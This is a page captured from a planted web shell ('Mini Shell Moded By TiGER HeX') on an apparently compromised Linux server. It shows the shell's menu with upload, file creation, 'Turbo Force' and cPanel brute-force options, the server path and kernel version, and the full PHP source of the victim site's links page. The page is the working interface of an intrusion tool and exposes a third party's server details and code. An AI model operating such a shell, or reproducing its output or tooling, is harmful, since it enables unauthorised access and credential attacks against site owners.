Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/links.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop.php'); $pg_name = basename($_SERVER['PHP_SELF']); include_once('includes/header.php'); ?> <? //content $sql = "SELECT page_body FROM 50mm_pages WHERE page_name ='links'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); echo stripslashes($row['page_body']); ?> <? //admin links $sql="SELECT * FROM 50mm_links WHERE user_id=0 ORDER BY name ASC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } ?> <br><br> <div class="title">50mm Los Angeles:</div> <? $elinks = '<table cellspacing="0" cellpadding="0" border="0">'."\n"; $elinks.= '<tr>'."\n"; $num = $db->sql_numrows($result); $tbl_cols = 5; $percol = ceil($num/$tbl_cols); $counter=0; $col_data = ""; $i=0; $col_count=0; while($row = $db->sql_fetchrow($result)){ $i++; $counter++; $col_data .= '<a href="'.$row['url'].'" target="_top">'.$row['name'].'</a><br>'."\n"; if(($counter>=$percol) || ($i==$num)){ $col_count++; $elinks.='<td valign="top" width="100">'.$col_data.'</td>'."\n"; if($col_count != $tbl_cols){ $elinks.='<td width="40"> </td>'."\n"; } $col_data =""; $counter = 0; } } $elinks.= '</tr>'."\n"; $elinks.= '</table>'."\n"; echo $elinks; ?> <br> links from our contributors... <? //just get editors so search for user_id = 0 $sql = "SELECT DISTINCT u.user_id,u.username FROM 50mm_users u, 50mm_links l WHERE u.user_id=l.user_id AND u.user_type='EDITOR' ORDER BY first_name ASC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $links = '<table cellspacing="0" cellpadding="0" border="0">'."\n"; $links.= '<tr>'."\n"; $num_editors = $db->sql_numrows($result); $tbl_cols = 3; $percol = ceil($num_editors/$tbl_cols); $cols = Array(); $counter=0; $col_data = ""; $i=0; $col_count = 0; while($row = $db->sql_fetchrow($result)){ $i++; $counter++; $sql2 = 'SELECT * FROM 50mm_links WHERE user_id='.$row["user_id"].' ORDER BY name ASC'; if( !($result2 = $db->sql_query($sql2)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $col_data .= '<br><div class="title">'.$row['username'].':</div>'."\n"; while($row2 = $db->sql_fetchrow($result2)){ $col_data .= '<a href="'.$row2['url'].'" target="_blank">'.$row2['name'].'</a><br>'."\n"; } if(($counter>=$percol) || ($i==$num_editors)){ $col_count++; $links.='<td valign="top" width="200">'.$col_data.'</td>'."\n"; if($col_count != $tbl_cols){ $links.='<td width="40"> </td>'."\n"; } $col_data =""; $counter=0; } } $links.= '</tr>'."\n"; $links.= '</table>'."\n"; echo $links; ?> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>